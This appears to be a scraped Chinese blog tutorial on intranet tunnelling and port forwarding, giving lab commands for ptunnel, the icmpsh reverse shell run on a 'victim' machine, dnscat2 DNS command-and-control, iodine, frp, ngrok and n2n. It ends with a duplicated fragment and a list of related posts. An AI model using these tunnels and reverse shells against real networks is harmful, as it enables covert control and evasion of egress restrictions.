0x05 ICMP隧道

注意:在搭建ICMP隧道的时候切记把自身的icmp关闭
(sysctl -w net.ipv4.icmp_echo_ignore_all=1)

ptunnel

ptunnel,全称“Ping Tunnel”,利用ICMP协议构建通信隧道,实现端到端通信。
网络环境拓扑:

B、C上需要装ptunnel工具,因为这里A只能ping通B,所以让B作为server,即ICMP跳板机

注意:由于通过ICMP协议建立隧道,为了让隧道服务端能够处理收到的ICMP报文,需要禁用系统本身的ICMP响应机制,防止内核响应ping数据包本身。这里先关闭B的ICMP响应机制,否则会出现[err]: Dropping duplicate proxy session request.报错。

在B上运行命令ptunnel

在C上运行命令

ptunnel -p 192.168.137.128 -lp 8888 -da 192.168.44.130  -dp 3389
-p  指定跳板机的IP
-lp 指定转发本地监听的端口
-da 指定最终要访问的目标主机
-dp 指定最终要访问目标主机的端口

此时ICMP隧道就已经打通了,最后在D上访问C的8888端口就相当于访问A的3389端口了

mstsc /v:192.168.137.129:8888

当然这里也可以让B既作为跳板机,又作为代理服务器

icmpsh

icmpsh是一个简单的反向ICMP shell,与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可运行到目标计算机上。
网络环境拓扑:

首先在kali上下载icmpsh并关闭自身的icmp

./icmpsh-m.py <source IP address> <destination IP address>sysctl -w net.ipv4.icmp_echo_ignore_all=1
python icmpsh_m.py 192.168.137.129 192.168.137.132

在受害机上运行以下命令

icmpsh.exe -t 192.168.137.129 

返回kali查看shell

0x06 DNS隧道

dnscat2

内网出口一般对出站流量做了严格限制,但是通常不会限制 DNS 请求,也就是 UDP 53 请求。dnscat2是一款利用 DNS 协议创建加密 C2 隧道来控制服务器的工具。dnscat2 由客户端和服务端两部分组成。

初始化dnscat2服务端

Server部署
git clone https://github.com/iagox86/dnscat2.git
apt-get install ruby-dev
cd dnscat2/server/
gem install bundler
bundle install
ruby ./dnscat2.rb  # 启动服务端

编译客户端

Client部署
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make (如果你在 windows 环境下编译,需要将client/win32/dnscat2.vcproj 加载到 Visual Studio 并点击 “build” )

如果目标内网放行了所有的 DNS 请求,那么就可以直接指定 HOST ,通过 UDP53 端口通信,而如果目标内网只允许和受信任的 DNS 服务器通信时就需要申请注意域名,并将运行 dnscat2 server 的服务器指定 Authoritative DNS 服务器。

注意:Dnscat2 默认是加密的,服务端可以通过–security=open关闭加密,可以提高传输的稳定性。
刚刚在启动服务端的时候默认是加密的,需要记下secret待客户端使用

Client运行以下命令发现session建立成功

./dnscat --dns server=192.168.137.129,port=53 --secret=ca7670fc9b8f016b3ccb5749d11eed62

dnscat2指令

返回服务端查看会话,可以通过help查看支持的命令

你可以通过sessions或windows查看当前会话,用session(window) -i 1进入名为1的会话,用help查看支持的命令

如果想返回shell,直接在session 1输入shell创建新的会话,通过ctrl+z返回上一层,选择新的session即可

Iodine

iodine基于C语言开发,分为服务端程序iodined和客户端程序iodine,主要工作模式有直连模式和中继模式两种。iodine支持A、TXT、CNAME、MX、NULL等多种查询请求类型,通过一台DNS服务器即可建立一条数据通道。

网络拓扑:

DNS服务器

由于没有经费就在本地搭个简单的DNS服务器

yum install bind*  #安装bind服务
vim /etc/named.conf  #修改named配置文件

vim /etc/named.rfc1912.zones  #添加需要解析的域名www.dns.com

添加对应的解析文件并修改

cp /var/named/named.localhost /var/named/named.dns.com
vim /var/named/named.dns.com

虽然按照上面配置好了可能还是解析不了,可能有以下几个原因
防火墙开放53端口:firewall-cmd --add-port=53/udp
文件权限:

  chown  named.named   /var/namedchown  named.named   /var/named/*

按照上面配置好后,记得重新启动一下服务systemctl restart named.service,一台简易的dns服务器就搭建起来了,测试一下

服务端

git clone https://github.com/yarrick/iodine
cd iodine
make install
或
apt install iodine(kali默认自带)

make install之后目录下会出现一个bin文件夹,里面有两个可执行文件iodined(服务端)、iodine(客户端)

iodined -f -P 123456 10.1.1.1 www.dns.com
-f 前台显示,运行后一直在命令行等待
-P 认证密码
10.1.1.1 自定义局域网虚拟IP
www.dns.com DNS服务器域名

此时服务端会多出现一块dns0的虚拟网卡,地址是刚刚设置的10.1.1.1

客户端

iodine -f -P 123456 192.168.137.150 www.dns.com
IP为服务器IP
域名需要与服务端保持一致

此时客户端也会多出来一块dns0网卡,地址为10.1.1.2,与服务端的网卡处于同一局域网

测试一下连通性

查看一下路由发现去往10.1.1.0的流量都会走dns隧道

远程登录服务器

0x07 Frp

frp 是一个可用于内网穿透的高性能的反向代理应用,支持 tcp, udp 协议,为 http 和 https 应用协议提供了额外的能力,且尝试性支持了点对点穿透。

在vps上下载相应的frp包,下载地址:https://github.com/fatedier/frp/releases

wget https://github.com/fatedier/frp/releases/download/v0.30.0/frp_0.30.0_linux_amd64.tar.gz
tar zxvf frp_0.30.0_linux_amd64.tar.gz
cd frp_0.30.0_linux_amd64/

解压完以后有如下几个文件

frpc  frpc_full.ini  frpc.ini  frps  frps_full.ini  frps.ini

其中前三个文件为客户端程序及配置文件,后面三个为服务端程序及配置文件。其中frpc_full.ini(frps_full.ini)是全配置文件,里面包含了所有的配置(感兴趣者可以自行研究),当然我们只需要其中的一部分复制到frpc.ini(frps.ini)即可

服务端

编辑服务端配置文件

vim frps.ini
----------------------
[common]
#绑定地址
bind_addr = 0.0.0.0
#TCP绑定端口
bind_port = 7000
#仪表盘地址
dashboard_addr = 0.0.0.0
#仪表盘端口
dashboard_port = 7500
#连接密码
token = 12345678
#仪表盘用户名
dashboard_user = admin
#仪表盘密码
dashboard_pwd = admin
#HTTP代理端口
vhost_http_port = 10080
#HTTPS代理端口
vhost_https_port = 10443

运行frps服务端

./frps -c frps.ini

如上图所示则表示运行成功,此时你可以访问vps_ip:7500 ,账号密码为之前所设置的

注意:当ssh连接断开以后,frps也会停止,为了使frps在后台运行我们可以使用nohup命令

nohup ./frps -c frps.ini &

客户端

编辑客户端配置文件

[common]
#服务器地址
server_addr = x.x.x.x
#服务器绑定端口
server_port = 7000
#服务器连接密码
token = 12345678#服务名称(自定义)
[ssh]
#转发协议类型
type = tcp
#本地地址
local_ip = 127.0.0.1
#本地端口
local_port = 22
#远程端口
remote_port = 7001

运行frpc客户端

./frpc -c frpc.ini

此时frp隧道已经建立成功,我们可以通过访问vps_ip:7001就相当于访问本地的22端口

不过这里碰到个问题就是用xshell连7001可以连接成功,可是换ssh命令连接就不行,一脸问号???

0x08 Ngork

ngrok是一个反向代理,它能够让你本地的web服务或tcp服务通过公共的端口和外部建立一个安全的通道,使得外网可以访问本地的计算机服务。

去官网注册用户登录:https://dashboard.ngrok.com/get-started ,然后得到自己的token

下载软件到本地计算机,执行cmd命令生成配置文件ngrok.yml

接下来就可以使用命令来穿透了

ngrok.exe tcp 22
ngrok.exe http 80
ngrok.exe tcp 3389
......

这里我将本地的3389映射到公网,只需执行命令ngrok.exe tcp 3389

然后直接连接0.tcp.ngrok.io:13067即可访问本地的3389端口,不过考虑到服务器在国外,使用连接特别慢,你可以考虑使用ngrok.cc或者自己打一个ngrok服务器

0x09 N2n

n2n是一个二层架构的VPN网络,其中super node提供场所,让两个位于NAT/防火墙之后的edge node进行会面,一旦双方完成首次握手,剩下的数据流就之发生在两个edge node之间。如果有一方的NAT属于对称型(symmetrical),super node则还需继续为双方提供数据包的转发,edge node负责数据流的加解密。

编译安装

git clone https://github.com/meyerd/n2n
apt install subversion build-essential libssl-dev net-tools
cd n2n/n2n_v2/
mkdir build
cd build
cmake ..
make && make install

服务端

服务端也称中心节点(supernode),运行以下命令

supernode -l 7654  #监听7654端口
在vps可以使用nobup设置后台运行
nohup supernode -l 7654 -v &  # -v展示详细信息,方便调试
-----------------------------------
查看supernode进程
ps -ef | grep supernode

注:在N2N v1中,一个Edge只能连接一个Supernode,但在N2N v2中,你可以至多连接两个Supernode。服务端也可以同时当做客户端使用,将服务端加入到虚拟网络中。

客户端

客户端也称边缘节点(edgenode),执行命令加入虚拟局域网

edge -a 10.2.2.2 -c group -k 123456 -l 45.77.xx.xx:7654
-a [内网IP地址]:设置此N2N网络中本机的IP地址
-c [群组名称]:设置本机要加入的N2N网络组名称(一台Edge可以加入多个N2N网络组中,只要保证软件版本一致)
-k [密码]:加入N2N网络组使用的密码
-l [Supernode地址:端口号]:Supernode的地址,带上端口号
-p [外网暴露端口号]:其他Edge访问本机使用的端口号(所有的N2N流量都将流经此端口)
-----------------------------------
查看edge进程
ps -ef | grep edge

执行完以后会多出一块edge0的网卡

在另一台机器上也加入N2N网络,并做连通测试

0x0A 参考

1.https://www.cnblogs.com/f-ck-need-u/p/10482832.html
2.https://cloud.tencent.com/developer/article/1120865
3.https://www.anquanke.com/post/id/163240
]:其他Edge访问本机使用的端口号(所有的N2N流量都将流经此端口)

查看edge进程
ps -ef | grep edge

执行完以后会多出一块edge0的网卡[外链图片转存中...(img-kcTcNuQ0-1576829857936)]在另一台机器上也加入N2N网络,并做连通测试[外链图片转存中...(img-2qsx40EF-1576829857937)]## 0x0A 参考
1.https://www.cnblogs.com/f-ck-need-u/p/10482832.html
2.https://cloud.tencent.com/developer/article/1120865
3.https://www.anquanke.com/post/id/163240
4.https://zerokeeper.com/experience/network-port-forwarding-and-penetration.html

内网穿透及端口转发(下)相关推荐

  1. 红蓝对抗之隧道技术第一篇(内网穿透、端口映射端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向)

    文章目录 隧道应用 端口映射&端口转发 Netsh端口转发 Netsh端口转发meterpreter CS正向连接多层内网 CS反向连接多层内网 Burp设置上游代理访问内网 MSF prot ...

  2. 【Java】Socket网络编程实现内网穿透、端口映射转发、内网穿透上网工具的编写,设置IP白名单防火墙

    这里写目录标题 简介 更新 一.背景 1.1 情景假设 1.2 想要达到的目的 1.3 局限 1.3 解决方案一(路由器NAT) 1.4 解决方案二(云服务器转发) 二.方案介绍 2.1 方案简介 2 ...

  3. 树莓派3 利用frp内网穿透web搭建 -- bt下载机的应用

                                    树莓派3 利用frp内网穿透web搭建 -- bt下载机的应用 请参考我前面写的博客:http://blog.csdn.net/wang ...

  4. 内网、外网、内网穿透、端口映射、IPV4、IPV6场景探讨

    先附上各自概念,概念性的东西对于我们有一个大概的认识,那么实际使用与生活中又有哪些场景,来一一列举一些,了解下互联网的魅力! 一.内网 内网也叫局域网(Local Area Network,LAN), ...

  5. 免费内网穿透3389端口,实现外网远程桌面内网【无需公网IP】

    3389端口,是远程桌面的服务端口.我们可以通过3389端口,用Windows自带的远程桌面连接,来远程连接服务器设备,实现如同操作本地电脑一般的场景. 在同个局域网下,只需要启用"远程桌面 ...

  6. 5、内网渗透之端口转发与代理工具总结

    理论上,任何接入互联网的计算机都是可访问的,但是如果目标主机处于内网,而我们又想和该目标主机进行通信的话,就需要借助一些端口转发工具来达到我们的目的 注:文中提到的所有工具下载地址 https://g ...

  7. nps内网穿透在Windows系统下的搭建

    所需材料: 一台公网IP服务器 本地主机一台及以上 nps的安装包和使用文档 本次事例使用的安装包为nps0.25.0版本 服务端配置: 从github上下载win_amd64_server.tar. ...

  8. 借助花生壳把内网网站映射给外网。(内网穿透/路由器端口映射)、外网控制内网...

    其实这个东西几年前我就弄过,但是当时心智不成熟,没学会怎么玩耍,今天玩了一把也没啥的, 1.搭建网站 假设内网电脑是192.168.100.9 访问Http://192.168.100.9能打开网站, ...

  9. Centos使用lanproxy,搭建一个属于自己的内网穿透服务器(附转发失败解决方法),小白向

    目录 前言 准备工作 搭建与使用 1. 安装git工具 2. 安装java环境 3. 安装maven工具 4. 搭建Lanproxy 5. 启动内网穿透服务 6. 设置开机自启 转发失败解决方法 前言 ...

最新文章

  1. Python使用matplotlib可视化安德鲁斯曲线、安德鲁斯曲线可以用来查看分类变量对于数据集是否具有判别性、区分性(Andrews Curve)
  2. R语言dplyr包coalesce函数处理缺失值(missing value)实战
  3. mysql保存中文乱码的原因和解决办法
  4. Win切换管理员用户
  5. 机器学习基础-支持向量机 SVM-17
  6. python 服务端与c++客户端通讯_在C++与Python之间通信(IPC)
  7. React-引领未来的用户界面开发框架-读书笔记(四)
  8. Android Studio 4.0 / 4.0.1 无法创建Activity 问题
  9. Centos python2.6.6升级2.7.14
  10. python爬虫入门案例,持续更新
  11. flex和blazeds_Java程序员学习Flex和BlazeDS的13个理由
  12. win10可以登录QQ微信 浏览器不能打开网页
  13. 虚拟软盘启动OS方法
  14. VS2022 安装 .NET Framework 4.0的方法
  15. 网站优化之robots文件详解
  16. Python爬虫QQ音乐数据采取,公开数据获取案例之一(1),腾讯Python开发面试记录
  17. python人工智能方向怎么学_如何学习人工智能
  18. Jupyter notebook文字排版笔记
  19. 国内外dspace著名案例
  20. Bugku逆向-游戏过关

热门文章

  1. Unity Shader 基础教程
  2. 桂林理工大学 计算机网络 实 验 报 告 静态路由实验
  3. 2020产品年终总结,如何点睛?
  4. 渗透总结——如何成为一个合格的脚本小子
  5. 数据结构与算法 —— 图 (Graph)的基本介绍
  6. python中可能遇到的简答题_Python程序设计答案
  7. kettle bat文件运行失败
  8. Plug And AI角蜂鸟AI开发板开箱,拆解
  9. 12月的第一波驱动,来看看支持哪款游戏吧!
  10. Network scanning Network investigation